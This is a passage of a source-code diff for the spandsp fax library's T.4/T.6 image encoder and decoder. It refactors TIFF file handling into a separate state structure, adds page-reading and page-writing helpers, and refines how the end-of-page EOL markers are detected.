        gets FAX resolutions wrong, and more get it wrong using metric than using inches. */
 #if 0
-    TIFFSetField(s->tiff_file, TIFFTAG_XRESOLUTION, x_resolution);
-    TIFFSetField(s->tiff_file, TIFFTAG_YRESOLUTION, y_resolution);
+    TIFFSetField(t->tiff_file, TIFFTAG_XRESOLUTION, x_resolution);
+    TIFFSetField(t->tiff_file, TIFFTAG_YRESOLUTION, y_resolution);
     resunit = RESUNIT_CENTIMETER;
-    TIFFSetField(s->tiff_file, TIFFTAG_RESOLUTIONUNIT, resunit);
+    TIFFSetField(t->tiff_file, TIFFTAG_RESOLUTIONUNIT, resunit);
 #else
-    TIFFSetField(s->tiff_file, TIFFTAG_XRESOLUTION, floorf(x_resolution*CM_PER_INCH + 0.5f));
-    TIFFSetField(s->tiff_file, TIFFTAG_YRESOLUTION, floorf(y_resolution*CM_PER_INCH + 0.5f));
+    TIFFSetField(t->tiff_file, TIFFTAG_XRESOLUTION, floorf(x_resolution*CM_PER_INCH + 0.5f));
+    TIFFSetField(t->tiff_file, TIFFTAG_YRESOLUTION, floorf(y_resolution*CM_PER_INCH + 0.5f));
     resunit = RESUNIT_INCH;
-    TIFFSetField(s->tiff_file, TIFFTAG_RESOLUTIONUNIT, resunit);
+    TIFFSetField(t->tiff_file, TIFFTAG_RESOLUTIONUNIT, resunit);
 #endif
     /* TODO: add the version of spandsp */
-    TIFFSetField(s->tiff_file, TIFFTAG_SOFTWARE, "spandsp");
+    TIFFSetField(t->tiff_file, TIFFTAG_SOFTWARE, "Spandsp " SPANDSP_RELEASE_DATETIME_STRING);
     if (gethostname(buf, sizeof(buf)) == 0)
-        TIFFSetField(s->tiff_file, TIFFTAG_HOSTCOMPUTER, buf);
+        TIFFSetField(t->tiff_file, TIFFTAG_HOSTCOMPUTER, buf);
 
 #if defined(TIFFTAG_FAXDCS)
-    if (s->dcs)
-        TIFFSetField(s->tiff_file, TIFFTAG_FAXDCS, s->dcs);
+    if (t->dcs)
+        TIFFSetField(t->tiff_file, TIFFTAG_FAXDCS, t->dcs);
 #endif
-    if (s->sub_address)
-        TIFFSetField(s->tiff_file, TIFFTAG_FAXSUBADDRESS, s->sub_address);
-    if (s->far_ident)
-        TIFFSetField(s->tiff_file, TIFFTAG_IMAGEDESCRIPTION, s->far_ident);
-    if (s->vendor)
-        TIFFSetField(s->tiff_file, TIFFTAG_MAKE, s->vendor);
-    if (s->model)
-        TIFFSetField(s->tiff_file, TIFFTAG_MODEL, s->model);
+    if (t->sub_address)
+        TIFFSetField(t->tiff_file, TIFFTAG_FAXSUBADDRESS, t->sub_address);
+    if (t->far_ident)
+        TIFFSetField(t->tiff_file, TIFFTAG_IMAGEDESCRIPTION, t->far_ident);
+    if (t->vendor)
+        TIFFSetField(t->tiff_file, TIFFTAG_MAKE, t->vendor);
+    if (t->model)
+        TIFFSetField(t->tiff_file, TIFFTAG_MODEL, t->model);
 
     time(&now);
     tm = localtime(&now);
@@ -217,43 +246,33 @@
             tm->tm_hour,
             tm->tm_min,
             tm->tm_sec);
-    TIFFSetField(s->tiff_file, TIFFTAG_DATETIME, buf);
-    TIFFSetField(s->tiff_file, TIFFTAG_FAXRECVTIME, now - s->page_start_time);
+    TIFFSetField(t->tiff_file, TIFFTAG_DATETIME, buf);
+    TIFFSetField(t->tiff_file, TIFFTAG_FAXRECVTIME, now - s->page_start_time);
 
-    TIFFSetField(s->tiff_file, TIFFTAG_IMAGELENGTH, s->image_length);
+    TIFFSetField(t->tiff_file, TIFFTAG_IMAGELENGTH, s->image_length);
     /* Set the total pages to 1. For any one page document we will get this
        right. For multi-page documents we will need to come back and fill in
        the right answer when we know it. */
-    TIFFSetField(s->tiff_file, TIFFTAG_PAGENUMBER, s->pages_transferred++, 1);
-    s->pages_in_file = s->pages_transferred;
-    if (s->output_compression == COMPRESSION_CCITT_T4)
+    TIFFSetField(t->tiff_file, TIFFTAG_PAGENUMBER, s->current_page++, 1);
+    s->pages_in_file = s->current_page;
+    if (t->output_compression == COMPRESSION_CCITT_T4)
     {
         if (s->bad_rows)
         {
-            TIFFSetField(s->tiff_file, TIFFTAG_BADFAXLINES, s->bad_rows);
-            TIFFSetField(s->tiff_file, TIFFTAG_CLEANFAXDATA, CLEANFAXDATA_REGENERATED);
-            TIFFSetField(s->tiff_file, TIFFTAG_CONSECUTIVEBADFAXLINES, s->longest_bad_row_run);
+            TIFFSetField(t->tiff_file, TIFFTAG_BADFAXLINES, s->bad_rows);
+            TIFFSetField(t->tiff_file, TIFFTAG_CLEANFAXDATA, CLEANFAXDATA_REGENERATED);
+            TIFFSetField(t->tiff_file, TIFFTAG_CONSECUTIVEBADFAXLINES, s->longest_bad_row_run);
         }
         else
         {
-            TIFFSetField(s->tiff_file, TIFFTAG_CLEANFAXDATA, CLEANFAXDATA_CLEAN);
+            TIFFSetField(t->tiff_file, TIFFTAG_CLEANFAXDATA, CLEANFAXDATA_CLEAN);
         }
     }
-    TIFFSetField(s->tiff_file, TIFFTAG_IMAGEWIDTH, s->image_width);
+    TIFFSetField(t->tiff_file, TIFFTAG_IMAGEWIDTH, s->image_width);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-static void update_row_bit_info(t4_state_t *s)
-{
-    if (s->row_bits > s->max_row_bits)
-        s->max_row_bits = s->row_bits;
-    if (s->row_bits < s->min_row_bits)
-        s->min_row_bits = s->row_bits;
-    s->row_bits = 0;
-}
-/*- End of function --------------------------------------------------------*/
-
 static int test_resolution(int res_unit, float actual, float expected)
 {
     if (res_unit == RESUNIT_INCH)
@@ -296,28 +315,41 @@
         {             -1.00f, -1, -1}
     };
     uint16_t res_unit;
-    uint32_t parm;
+    uint16_t parm16;
+    uint32_t parm32;
     float x_resolution;
     float y_resolution;
     int i;
+    t4_tiff_state_t *t;
 
-    parm = 0;
-    TIFFGetField(s->tiff_file, TIFFTAG_BITSPERSAMPLE, &parm);
-    if (parm != 1)
+    t = &s->tiff;
+    parm16 = 0;
+    TIFFGetField(t->tiff_file, TIFFTAG_BITSPERSAMPLE, &parm16);
+    if (parm16 != 1)
         return -1;
-    parm = 0;
-    TIFFGetField(s->tiff_file, TIFFTAG_IMAGEWIDTH, &parm);
-    s->image_width = parm;
+    parm32 = 0;
+    TIFFGetField(t->tiff_file, TIFFTAG_IMAGEWIDTH, &parm32);
+    s->image_width = parm32;
     s->bytes_per_row = (s->image_width + 7)/8;
-    parm = 0;
-    TIFFGetField(s->tiff_file, TIFFTAG_IMAGELENGTH, &parm);
-    s->image_length = parm;
+    parm32 = 0;
+    TIFFGetField(t->tiff_file, TIFFTAG_IMAGELENGTH, &parm32);
+    s->image_length = parm32;
     x_resolution = 0.0f;
-    TIFFGetField(s->tiff_file, TIFFTAG_XRESOLUTION, &x_resolution);
+    TIFFGetField(t->tiff_file, TIFFTAG_XRESOLUTION, &x_resolution);
     y_resolution = 0.0f;
-    TIFFGetField(s->tiff_file, TIFFTAG_YRESOLUTION, &y_resolution);
+    TIFFGetField(t->tiff_file, TIFFTAG_YRESOLUTION, &y_resolution);
     res_unit = RESUNIT_INCH;
-    TIFFGetField(s->tiff_file, TIFFTAG_RESOLUTIONUNIT, &res_unit);
+    TIFFGetField(t->tiff_file, TIFFTAG_RESOLUTIONUNIT, &res_unit);
+    t->photo_metric = PHOTOMETRIC_MINISWHITE;
+    TIFFGetField(t->tiff_file, TIFFTAG_PHOTOMETRIC, &t->photo_metric);
+    if (t->photo_metric != PHOTOMETRIC_MINISWHITE)
+        span_log(&s->logging, SPAN_LOG_FLOW, "%s: Photometric needs swapping.\n", s->file);
+    t->fill_order = FILLORDER_LSB2MSB;
+#if 0
+    TIFFGetField(t->tiff_file, TIFFTAG_FILLORDER, &t->fill_order);
+    if (t->fill_order != FILLORDER_LSB2MSB)
+        span_log(&s->logging, SPAN_LOG_FLOW, "%s: Fill order needs swapping.\n", s->file);
+#endif
 
     /* Allow a little range for the X resolution in centimeters. The spec doesn't pin down the
        precise value. The other value should be exact. */
@@ -348,18 +380,142 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static int test_tiff_directory_info(t4_state_t *s)
+{
+    static const struct
+    {
+        float resolution;
+        int code;
+    } x_res_table[] =
+    {
+        { 102.0f/CM_PER_INCH, T4_X_RESOLUTION_R4},
+        { 204.0f/CM_PER_INCH, T4_X_RESOLUTION_R8},
+        { 300.0f/CM_PER_INCH, T4_X_RESOLUTION_300},
+        { 408.0f/CM_PER_INCH, T4_X_RESOLUTION_R16},
+        { 600.0f/CM_PER_INCH, T4_X_RESOLUTION_600},
+        { 800.0f/CM_PER_INCH, T4_X_RESOLUTION_800},
+        {1200.0f/CM_PER_INCH, T4_X_RESOLUTION_1200},
+        {             -1.00f, -1}
+    };
+    static const struct
+    {
+        float resolution;
+        int code;
+        int max_rows_to_next_1d_row;
+    } y_res_table[] =
+    {
+        {             38.50f, T4_Y_RESOLUTION_STANDARD, 2},
+        {             77.00f, T4_Y_RESOLUTION_FINE, 4},
+        { 300.0f/CM_PER_INCH, T4_Y_RESOLUTION_300, 6},
+        {            154.00f, T4_Y_RESOLUTION_SUPERFINE, 8},
+        { 600.0f/CM_PER_INCH, T4_Y_RESOLUTION_600, 12},
+        { 800.0f/CM_PER_INCH, T4_Y_RESOLUTION_800, 16},
+        {1200.0f/CM_PER_INCH, T4_Y_RESOLUTION_1200, 24},
+        {             -1.00f, -1, -1}
+    };
+    uint16_t res_unit;
+    uint16_t parm16;
+    uint32_t parm32;
+    float x_resolution;
+    float y_resolution;
+    int i;
+    t4_tiff_state_t *t;
+
+    t = &s->tiff;
+    parm16 = 0;
+    TIFFGetField(t->tiff_file, TIFFTAG_BITSPERSAMPLE, &parm16);
+    if (parm16 != 1)
+        return -1;
+    parm32 = 0;
+    TIFFGetField(t->tiff_file, TIFFTAG_IMAGEWIDTH, &parm32);
+    if (s->image_width != (int) parm32)
+        return 1;
+    x_resolution = 0.0f;
+    TIFFGetField(t->tiff_file, TIFFTAG_XRESOLUTION, &x_resolution);
+    y_resolution = 0.0f;
+    TIFFGetField(t->tiff_file, TIFFTAG_YRESOLUTION, &y_resolution);
+    res_unit = RESUNIT_INCH;
+    TIFFGetField(t->tiff_file, TIFFTAG_RESOLUTIONUNIT, &res_unit);
+
+    /* Allow a little range for the X resolution in centimeters. The spec doesn't pin down the
+       precise value. The other value should be exact. */
+    /* Treat everything we can't match as R8. Most FAXes are this resolution anyway. */
+    for (i = 0;  x_res_table[i].code > 0;  i++)
+    {
+        if (test_resolution(res_unit, x_resolution, x_res_table[i].resolution))
+            break;
+    }
+    if (s->x_resolution != x_res_table[i].code)
+        return 1;
+    for (i = 0;  y_res_table[i].code > 0;  i++)
+    {
+        if (test_resolution(res_unit, y_resolution, y_res_table[i].resolution))
+            break;
+    }
+    if (s->y_resolution != y_res_table[i].code)
+        return 1;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int get_tiff_total_pages(t4_state_t *s)
+{
+    int max;
+
+    /* Each page *should* contain the total number of pages, but can this be
+       trusted? Some files say 0. Actually searching for the last page is
+       more reliable. */
+    max = 0;
+    while (TIFFSetDirectory(s->tiff.tiff_file, (tdir_t) max))
+        max++;
+    /* Back to the previous page */
+    if (!TIFFSetDirectory(s->tiff.tiff_file, (tdir_t) s->current_page))
+        return -1;
+    return max;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int open_tiff_input_file(t4_state_t *s, const char *file)
 {
-    if ((s->tiff_file = TIFFOpen(file, "r")) == NULL)
+    if ((s->tiff.tiff_file = TIFFOpen(file, "r")) == NULL)
         return -1;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
+static int read_tiff_image(t4_state_t *s)
+{
+    int row;
+    int image_length;
+    int i;
+
+    image_length = 0;
+    TIFFGetField(s->tiff.tiff_file, TIFFTAG_IMAGELENGTH, &image_length);
+    for (row = 0;  row < image_length;  row++)
+    {
+        if (TIFFReadScanline(s->tiff.tiff_file, s->row_buf, row, 0) <= 0)
+        {
+            span_log(&s->logging, SPAN_LOG_WARNING, "%s: Read error at row %d.\n", s->file, row);
+            break;
+        }
+        if (s->tiff.photo_metric != PHOTOMETRIC_MINISWHITE)
+        {
+            for (i = 0;  i < s->bytes_per_row;  i++)
+                s->row_buf[i] = ~s->row_buf[i];
+        }
+        if (s->tiff.fill_order != FILLORDER_LSB2MSB)
+            bit_reverse(s->row_buf, s->row_buf, s->bytes_per_row);
+        if (encode_row(s))
+            return -1;
+    }
+    return image_length;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int close_tiff_input_file(t4_state_t *s)
 {
-    TIFFClose(s->tiff_file);
-    s->tiff_file = NULL;
+    TIFFClose(s->tiff.tiff_file);
+    s->tiff.tiff_file = NULL;
     if (s->file)
         free((char *) s->file);
     s->file = NULL;
@@ -369,37 +525,51 @@
 
 static int open_tiff_output_file(t4_state_t *s, const char *file)
 {
-    if ((s->tiff_file = TIFFOpen(file, "w")) == NULL)
+    if ((s->tiff.tiff_file = TIFFOpen(file, "w")) == NULL)
         return -1;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
+static void write_tiff_image(t4_state_t *s)
+{
+    /* Set up the TIFF directory info... */
+    set_tiff_directory_info(s);
+    /* ..and then write the image... */
+    if (TIFFWriteEncodedStrip(s->tiff.tiff_file, 0, s->image_buffer, s->image_length*s->bytes_per_row) < 0)
+        span_log(&s->logging, SPAN_LOG_WARNING, "%s: Error writing TIFF strip.\n", s->file);
+    /* ...then the directory entry, and libtiff is happy. */
+    TIFFWriteDirectory(s->tiff.tiff_file);
+}
+/*- End of function --------------------------------------------------------*/
+
 static int close_tiff_output_file(t4_state_t *s)
 {
     int i;
+    t4_tiff_state_t *t;
 
+    t = &s->tiff;
     /* Perform any operations needed to tidy up a written TIFF file before
        closure. */
-    if (s->pages_transferred > 1)
+    if (s->current_page > 1)
     {
         /* We need to edit the TIFF directories. Until now we did not know
            the total page count, so the TIFF file currently says one. Now we
            need to set the correct total page count associated with each page. */
-        for (i = 0;  i < s->pages_transferred;  i++)
+        for (i = 0;  i < s->current_page;  i++)
         {
-            TIFFSetDirectory(s->tiff_file, (tdir_t) i);
-            TIFFSetField(s->tiff_file, TIFFTAG_PAGENUMBER, i, s->pages_transferred);
-            TIFFWriteDirectory(s->tiff_file);
+            TIFFSetDirectory(t->tiff_file, (tdir_t) i);
+            TIFFSetField(t->tiff_file, TIFFTAG_PAGENUMBER, i, s->current_page);
+            TIFFWriteDirectory(t->tiff_file);
         }
     }
-    TIFFClose(s->tiff_file);
-    s->tiff_file = NULL;
+    TIFFClose(t->tiff_file);
+    t->tiff_file = NULL;
     if (s->file)
     {
         /* Try not to leave a file behind, if we didn't receive any pages to
            put in it. */
-        if (s->pages_transferred == 0)
+        if (s->current_page == 0)
             remove(s->file);
         free((char *) s->file);
     }
@@ -408,6 +578,73 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+#else
+
+static int set_tiff_directory_info(t4_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int get_tiff_directory_info(t4_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_tiff_directory_info(t4_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int open_tiff_input_file(t4_state_t *s, const char *file)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int read_tiff_image(t4_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int close_tiff_input_file(t4_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int open_tiff_output_file(t4_state_t *s, const char *file)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void write_tiff_image(t4_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int close_tiff_output_file(t4_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+static void update_row_bit_info(t4_state_t *s)
+{
+    if (s->row_bits > s->max_row_bits)
+        s->max_row_bits = s->row_bits;
+    if (s->row_bits < s->min_row_bits)
+        s->min_row_bits = s->row_bits;
+    s->row_bits = 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 #if defined(__i386__)  ||  defined(__x86_64__)  ||  defined(__ppc__)  ||   defined(__powerpc__)
 static __inline__ int run_length(unsigned int bits)
 {
@@ -601,6 +838,7 @@
     int fudge;
     int row_starts_at;
     int x;
+    int j;
 
     if (s->run_length)
         add_run_to_row(s);
@@ -649,7 +887,7 @@
         for (x = 0, fudge = 0;  x < s->a_cursor;  x++, fudge ^= 0xFF)
         {
             i = s->cur_runs[x];
-            if (i >= s->tx_bits)
+            if ((int) i >= s->tx_bits)
             {
                 s->tx_bitstream = (s->tx_bitstream << s->tx_bits) | (msbmask[s->tx_bits] & fudge);
                 for (i += (8 - s->tx_bits);  i >= 8;  i -= 8)
@@ -671,8 +909,8 @@
            row for the next row. Use a copy of the previous good row as the actual current
            row. If the row only fell apart near the end, reusing it might be the best
            solution. */
-        for (i = 0, fudge = 0;  i < s->a_cursor  &&  fudge < s->image_width;  i++)
-            fudge += s->cur_runs[i];
+        for (j = 0, fudge = 0;  j < s->a_cursor  &&  fudge < s->image_width;  j++)
+            fudge += s->cur_runs[j];
         if (fudge < s->image_width)
         {
             /* Try to pad with white, and avoid black, to minimise mess on the image. */
@@ -732,7 +970,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_end_page(t4_state_t *s)
+SPAN_DECLARE(int) t4_rx_end_page(t4_state_t *s)
 {
     int row;
     int i;
@@ -769,18 +1007,12 @@
     }
     else
     {
-        /* Set up the TIFF directory info... */
-        set_tiff_directory_info(s);
-        /* ..and then write the image... */
-        if (TIFFWriteEncodedStrip(s->tiff_file, 0, s->image_buffer, s->image_length*s->bytes_per_row) < 0)
-            span_log(&s->logging, SPAN_LOG_WARNING, "%s: Error writing TIFF strip.\n", s->file);
-        /* ...then the directory entry, and libtiff is happy. */
-        TIFFWriteDirectory(s->tiff_file);
+        write_tiff_image(s);
     }
     s->rx_bits = 0;
     s->rx_skip_bits = 0;
     s->rx_bitstream = 0;
-    s->consecutive_eols = 5;
+    s->consecutive_eols = EOLS_TO_END_ANY_RX_PAGE;
 
     s->image_size = 0;
     return 0;
@@ -790,7 +1022,8 @@
 static __inline__ void drop_rx_bits(t4_state_t *s, int bits)
 {
     /* Only remove one bit right now. The rest need to be removed step by step,
-       checking for a misaligned EOL along the way. */
+       checking for a misaligned EOL along the way. This is time consuming, but
+       if we don't do it a single bit error can severely damage an image. */
     s->row_bits += bits;
     s->rx_skip_bits += (bits - 1);
     s->rx_bits--;
@@ -824,18 +1057,23 @@
         return FALSE;
     if (s->consecutive_eols)
     {
-        /* Check if the image has already terminated */
-        if (s->consecutive_eols >= 5)
+        /* Check if the image has already terminated. */
+        if (s->consecutive_eols >= EOLS_TO_END_ANY_RX_PAGE)
             return TRUE;
+        /* Check if the image hasn't even started. */
         if (s->consecutive_eols < 0)
         {
             /* We are waiting for the very first EOL (1D or 2D only). */
+            /* We need to take this bit by bit, as the EOL could be anywhere,
+               and any junk could preceed it. */
             while ((s->rx_bitstream & 0xFFF) != 0x800)
             {
                 s->rx_bitstream >>= 1;
                 if (--s->rx_bits < 13)
                     return FALSE;
             }
+            /* We have an EOL, so now the page begins and we can proceed to
+               process the bit stream as image data. */
             s->consecutive_eols = 0;
             if (s->line_encoding == T4_COMPRESSION_ITU_T4_1D)
             {
@@ -847,7 +1085,6 @@
                 s->row_is_2d = !(s->rx_bitstream & 0x1000);
                 force_drop_rx_bits(s, 13);
             }
-            /* We can proceed to processing the bit stream as an image now */
         }
     }
 
@@ -864,11 +1101,39 @@
             STATE_TRACE("EOL\n");
             if (s->row_len == 0)
             {
-                if (++s->consecutive_eols >= 5)
-                    return TRUE;
+                /* A zero length row - i.e. 2 consecutive EOLs - is distinctly
+                   the end of page condition. That's all we actually get on a
+                   T.6 page. However, there are a minimum of 6 EOLs at the end of
+                   any T.4 page. We can look for more than 2 EOLs in case bit
+                   errors simulate the end of page condition at the wrong point.
+                   Such robust checking is irrelevant for a T.6 page, as it should
+                   be error free. */
+                /* Note that for a T.6 page we should get here on the very first
+                   EOL, as the row length should be zero at that point. Therefore
+                   we should count up both EOLs, unless there is some bogus partial
+                   row ahead of them. */
+                s->consecutive_eols++;
+                if (s->line_encoding == T4_COMPRESSION_ITU_T6)
+                {
+                    if (s->consecutive_eols >= EOLS_TO_END_T6_RX_PAGE)
+                    {
+                        s->consecutive_eols = EOLS_TO_END_ANY_RX_PAGE;
+                        return TRUE;
+                    }
+                }
+                else
+                {
+                    if (s->consecutive_eols >= EOLS_TO_END_T4_RX_PAGE)
+                    {
+                        s->consecutive_eols = EOLS_TO_END_ANY_RX_PAGE;
+                        return TRUE;
+                    }
+                }
             }
             else
             {
+                /* The EOLs are not back-to-back, so they are not part of the
+                   end of page condition. */
                 if (s->run_length > 0)
                     add_run_to_row(s);
                 s->consecutive_eols = 0;
@@ -876,14 +1141,14 @@
                     return TRUE;
                 update_row_bit_info(s);
             }
-            if (s->line_encoding == T4_COMPRESSION_ITU_T4_1D)
+            if (s->line_encoding == T4_COMPRESSION_ITU_T4_2D)
             {
-                force_drop_rx_bits(s, 12);
+                s->row_is_2d = !(s->rx_bitstream & 0x1000);
+                force_drop_rx_bits(s, 13);
             }
             else
             {
-                s->row_is_2d = !(s->rx_bitstream & 0x1000);
-                force_drop_rx_bits(s, 13);
+                force_drop_rx_bits(s, 12);
             }
             s->its_black = FALSE;
             s->black_white = 0;
@@ -1082,19 +1347,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_put_bit(t4_state_t *s, int bit)
+SPAN_DECLARE(int) t4_rx_put_bit(t4_state_t *s, int bit)
 {
     return rx_put_bits(s, bit & 1, 1);
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_put_byte(t4_state_t *s, uint8_t byte)
+SPAN_DECLARE(int) t4_rx_put_byte(t4_state_t *s, uint8_t byte)
 {
     return rx_put_bits(s, byte & 0xFF, 8);
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_put_chunk(t4_state_t *s, const uint8_t buf[], int len)
+SPAN_DECLARE(int) t4_rx_put_chunk(t4_state_t *s, const uint8_t buf[], int len)
 {
     int i;
     uint8_t byte;
@@ -1109,7 +1374,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_set_row_write_handler(t4_state_t *s, t4_row_write_handler_t handler, void *user_data)
+SPAN_DECLARE(int) t4_rx_set_row_write_handler(t4_state_t *s, t4_row_write_handler_t handler, void *user_data)
 {
     s->row_write_handler = handler;
     s->row_write_user_data = user_data;
@@ -1117,8 +1382,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-t4_state_t *t4_rx_init(t4_state_t *s, const char *file, int output_encoding)
+SPAN_DECLARE(t4_state_t *) t4_rx_init(t4_state_t *s, const char *file, int output_encoding)
 {
+    if (s == NULL)
+    {
+        if ((s = (t4_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
     memset(s, 0, sizeof(*s));
     span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
     span_log_set_protocol(&s->logging, "T.4");
@@ -1136,16 +1406,16 @@
     switch (output_encoding)
     {
     case T4_COMPRESSION_ITU_T4_1D:
-        s->output_compression = COMPRESSION_CCITT_T4;
-        s->output_t4_options = GROUP3OPT_FILLBITS;
+        s->tiff.output_compression = COMPRESSION_CCITT_T4;
+        s->tiff.output_t4_options = GROUP3OPT_FILLBITS;
         break;
     case T4_COMPRESSION_ITU_T4_2D:
-        s->output_compression = COMPRESSION_CCITT_T4;
-        s->output_t4_options = GROUP3OPT_FILLBITS | GROUP3OPT_2DENCODING;
+        s->tiff.output_compression = COMPRESSION_CCITT_T4;
+        s->tiff.output_t4_options = GROUP3OPT_FILLBITS | GROUP3OPT_2DENCODING;
         break;
     case T4_COMPRESSION_ITU_T6:
-        s->output_compression = COMPRESSION_CCITT_T6;
-        s->output_t4_options = 0;
+        s->tiff.output_compression = COMPRESSION_CCITT_T6;
+        s->tiff.output_t4_options = 0;
         break;
     }
 
@@ -1153,7 +1423,7 @@
        value to ensure it will be seen as changing when the real value is used. */
     s->bytes_per_row = 0;
 
-    s->pages_transferred = 0;
+    s->current_page = 0;
     s->pages_in_file = 0;
     s->start_page = 0;
     s->stop_page = INT_MAX;
@@ -1170,14 +1440,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_start_page(t4_state_t *s)
+SPAN_DECLARE(int) t4_rx_start_page(t4_state_t *s)
 {
     int bytes_per_row;
     int run_space;
     uint32_t *bufptr;
 
     span_log(&s->logging, SPAN_LOG_FLOW, "Start rx page - compression %d\n", s->line_encoding);
-    if (s->tiff_file == NULL)
+    if (s->tiff.tiff_file == NULL)
         return -1;
 
     /* Calculate the scanline/tile width. */
@@ -1206,7 +1476,7 @@
 
     s->row_is_2d = (s->line_encoding == T4_COMPRESSION_ITU_T6);
     /* We start at -1 EOLs for 1D and 2D decoding, as an indication we are waiting for the
-       first EOL. */
+       first EOL. T.6 coding starts without any preamble. */
     s->consecutive_eols = (s->line_encoding == T4_COMPRESSION_ITU_T6)  ?  0  :  -1;
 
     s->bad_rows = 0;
@@ -1243,78 +1513,78 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_delete(t4_state_t *s)
+SPAN_DECLARE(int) t4_rx_release(t4_state_t *s)
 {
-    if (t4_rx_end(s))
+    if (!s->rx)
         return -1;
+    if (s->tiff.tiff_file)
+        close_tiff_output_file(s);
     free_buffers(s);
-    free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_rx_end(t4_state_t *s)
+SPAN_DECLARE(int) t4_rx_free(t4_state_t *s)
 {
-    if (!s->rx)
-        return -1;
-    if (s->tiff_file)
-        close_tiff_output_file(s);
-    free_buffers(s);
-    return 0;
+    int ret;
+
+    ret = t4_rx_release(s);
+    free(s);
+    return ret;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_rx_encoding(t4_state_t *s, int encoding)
+SPAN_DECLARE(void) t4_rx_set_rx_encoding(t4_state_t *s, int encoding)
 {
     s->line_encoding = encoding;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_image_width(t4_state_t *s, int width)
+SPAN_DECLARE(void) t4_rx_set_image_width(t4_state_t *s, int width)
 {
     s->image_width = width;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_y_resolution(t4_state_t *s, int resolution)
+SPAN_DECLARE(void) t4_rx_set_y_resolution(t4_state_t *s, int resolution)
 {
     s->y_resolution = resolution;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_x_resolution(t4_state_t *s, int resolution)
+SPAN_DECLARE(void) t4_rx_set_x_resolution(t4_state_t *s, int resolution)
 {
     s->x_resolution = resolution;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_dcs(t4_state_t *s, const char *dcs)
+SPAN_DECLARE(void) t4_rx_set_dcs(t4_state_t *s, const char *dcs)
 {
-    s->dcs = (dcs  &&  dcs[0])  ?  dcs  :  NULL;
+    s->tiff.dcs = (dcs  &&  dcs[0])  ?  dcs  :  NULL;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_sub_address(t4_state_t *s, const char *sub_address)
+SPAN_DECLARE(void) t4_rx_set_sub_address(t4_state_t *s, const char *sub_address)
 {
-    s->sub_address = (sub_address  &&  sub_address[0])  ?  sub_address  :  NULL;
+    s->tiff.sub_address = (sub_address  &&  sub_address[0])  ?  sub_address  :  NULL;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_far_ident(t4_state_t *s, const char *ident)
+SPAN_DECLARE(void) t4_rx_set_far_ident(t4_state_t *s, const char *ident)
 {
-    s->far_ident = (ident  &&  ident[0])  ?  ident  :  NULL;
+    s->tiff.far_ident = (ident  &&  ident[0])  ?  ident  :  NULL;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_vendor(t4_state_t *s, const char *vendor)
+SPAN_DECLARE(void) t4_rx_set_vendor(t4_state_t *s, const char *vendor)
 {
-    s->vendor = vendor;
+    s->tiff.vendor = vendor;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_rx_set_model(t4_state_t *s, const char *model)
+SPAN_DECLARE(void) t4_rx_set_model(t4_state_t *s, const char *model)
 {
-    s->model = model;
+    s->tiff.model = model;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -1398,9 +1668,14 @@
     }
     if (s->row_bits)
     {
-        /* We may need to pad the row to a minimum length. */
-        if (s->row_bits + length < s->min_bits_per_row)
-            put_encoded_bits(s, 0, s->min_bits_per_row - (s->row_bits + length));
+        /* We may need to pad the row to a minimum length, unless we are in T.6 mode.
+           In T.6 we only come here at the end of the page to add the EOFB marker, which
+           is like two 1D EOLs. */
+        if (s->line_encoding != T4_COMPRESSION_ITU_T6)
+        {
+            if (s->row_bits + length < s->min_bits_per_row)
+                put_encoded_bits(s, 0, s->min_bits_per_row - (s->row_bits + length));
+        }
         put_encoded_bits(s, code, length);
         update_row_bit_info(s);
     }
@@ -1408,6 +1683,10 @@
     {
         /* We don't pad zero length rows. They are the consecutive EOLs which end a page. */
         put_encoded_bits(s, code, length);
+        /* Don't do the full update row bit info, or the minimum suddenly drops to the
+           length of an EOL. Just clear the row bits, so we treat the next EOL as an
+           end of page EOL, with no padding. */
+        s->row_bits = 0;
     }
 }
 /*- End of function --------------------------------------------------------*/
@@ -1456,8 +1735,8 @@
                         a0                  a1                      a2
 
 
-        a)	Pass mode
